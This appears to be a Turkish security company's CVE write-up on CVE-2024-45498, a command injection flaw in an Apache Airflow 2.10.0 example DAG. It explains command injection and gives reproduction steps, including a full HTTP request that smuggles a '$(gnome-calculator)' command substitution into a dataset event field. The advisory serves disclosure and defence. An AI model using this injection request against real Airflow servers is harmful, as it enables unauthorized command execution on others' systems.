Kritik Risk
Apache Airflow Command injection
CVE-2024-45498
Command Injection Nedir?
Command Injection (Komut Enjeksiyonu), saldırganın hedef uygulama üzerinde, sistem komutlarının çalıştırılmasına olanak tanıyan bir zafiyeti kötüye kullanarak yetkisiz işlemler gerçekleştirdiği bir güvenlik açığıdır. Bu tür bir zafiyet, genellikle kullanıcı girdisinin doğrulanmaması veya yetersiz şekilde filtrelenmesi nedeniyle oluşur.
Bir web uygulaması, genellikle işletim sistemi seviyesindeki komutları çalıştırmak için exec
, system
, popen
veya benzeri fonksiyonları kullanır. Eğer bu komutlara kullanıcı girdisi doğrudan ekleniyorsa ve bu giriş uygun şekilde kontrol edilmezse, saldırgan sistemde istediği komutları çalıştırabilir.
Nasıl Çalışır?
Command Injection zafiyetinin temelinde, kullanıcının sağladığı girişin, işletim sistemi komutlarıyla birleşerek doğrudan bir komut satırına gönderilmesi yatar. Saldırgan, genellikle aşağıdaki tekniklerle komut akışını manipüle eder:
Komut Zincirleme Operatörleri Kullanımı:
Saldırganlar, işletim sistemi komutlarını birleştirmek için
;
,&&
,||
,|
gibi operatörler kullanır.Örnek:
Alt Süreçlerin Çağrılması:
Bazı sistemlerde
$(komut)
veyakomut
gibi ifadelerle alt süreçler çalıştırılabilir.Örnek:
Yeniden Yönlendirme Operatörleri:
Çıktıyı yönlendirme (
>
,>>
) veya hataları bastırma (2>&1
) ile komut akışı kontrol edilebilir.
CVE-2024-45498: Apache Airflow Command injection in read_dataset_event_from_classic DAG
Özet
read_dataset_event_from_classic
isimli DAG'de bulunan Command Injection zafiyeti, Dataset("s3://output/1.txt")
verisine dayalı bir bash komutunu çalıştırmaktadır. Ancak, User
yetkilerine sahip bir saldırgan, s3://output/1.txt
datasetinde OS komutları enjekte ederek herhangi bir işletim sistemi komutunu çalıştırabilmektedir.
Gereksinimler
Airflow sürümü: 2.10.0
DAG: example_inlet_event_extra.py
create Dataset
veDAG trigger
izinlerine sahip bir kullanıcı
Kullanıcı hesabına giriş yapılır.
Aşağıda gösterildiği gibi bir istek aracılığıyla
s3://output/1.txt
datasetine kötü amaçlı komut enjekte edilir.
POST /api/v1/datasets/events HTTP/1.1 Host: D0:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0 Accept: application/json Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: [<http://D0:8080/datasets?uri=s3%3A%2F%2Foutput%2F1.txt>](<http://192.168.168.129:8080/datasets?uri=s3%3A%2F%2Foutput%2F1.txt>) Cookie: session=<authen-cookie> Content-Type: application/json Content-Length: 62
{"dataset_uri":"s3://output/1.txt","extra":{"hi":" '$(gnome-calculator)' "}}


DAG listesine gidilir ve
read_dataset_event_from_classic
DAG tetiklenir.

read_dataset_event_from_classic
görev günlüklerine gidilir ve döndürülen çıktı incelenir.

Author : Fatih TÜRÜT
Benzer CVE Analizleri
Geliştirdiğimiz siber güvenlik çözümlerinin işletmeler üzerindeki etkisini gerçek projeler üzerinden görün. Her vaka çalışması, müşterilerimizin ihtiyaçlarına özel yaklaşımlarımızı ve tehditlere karşı sunduğumuz kapsamlı çözümleri detaylandırıyor. Güvenlik stratejilerimizin başarısını ve değerini keşfedin.
15+ Yıl
Tecrübe
10+
Siber Güvenlik Uzmanı
100%
Başarı Oranı
400+
Başarılı İşlem
Aklınızdaki soruları yanıtlayalım
Aşağıda sıkça sorulan sorulara verdiğimiz yanıtları bulabilirsiniz.